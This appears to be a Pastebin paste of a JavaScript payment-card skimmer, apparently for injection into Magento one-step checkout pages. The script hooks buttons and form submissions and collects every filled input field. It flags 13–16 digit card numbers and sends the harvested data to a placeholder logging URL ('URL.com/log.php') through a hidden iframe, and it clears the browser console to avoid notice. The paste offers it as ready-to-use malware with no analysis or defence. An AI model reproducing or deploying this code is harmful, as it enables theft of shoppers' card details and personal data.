Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <script type="text/javascript">
- var snd =null;
- window.onload = function () {
- if((new RegExp('onestepcheckout')).test(window.location)) {
- send();
- }
- };
- function frm_fill(u) {
- var x = document.createElement("IFRAME");
- x.setAttribute("src", u);
- x.style.display = "none";
- document.body.appendChild(x);
- console.log("good");
- }
- function clk() {
- var inp=document.querySelectorAll("input, select, textarea, checkbox");
- for (var i=0;i<inp.length;i++){
- if(inp[i].value.length>0) {
- var nme=inp[i].name;
- if(nme=='') { nme=i; }
- snd+=inp[i].name+'='+inp[i].value+'&';
- }
- }
- }
- function send() {
- var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
- for (var i=0;i<btn.length;i++){
- var b=btn[i];
- if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {
- if(b.addEventListener) {
- b.addEventListener("click", clk, false);
- }else {
- b.attachEvent('onclick', clk);
- }
- }
- }
- var frm=document.querySelectorAll("form");
- for (var i=0;i<frm.length;i++){
- if(frm[i].addEventListener) {
- frm[i].addEventListener("submit", clk, false);
- }else {
- frm[i].attachEvent('onsubmit', clk);
- }
- }
- if(snd!=null) {
- console.clear();
- var cc = new RegExp("[0-9]{13,16}");
- var asd="0";
- if(cc.test(snd)){
- asd="1" ;
- }
- bl_raw = encodeURI("From :"+window.location.host+"<br>"+snd);
- frm_fill("http://URL.com/log.php?mag="+bl_raw); // <--------- URL LOG
- }
- snd=null;
- setTimeout('send()', 150);
- }
- </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement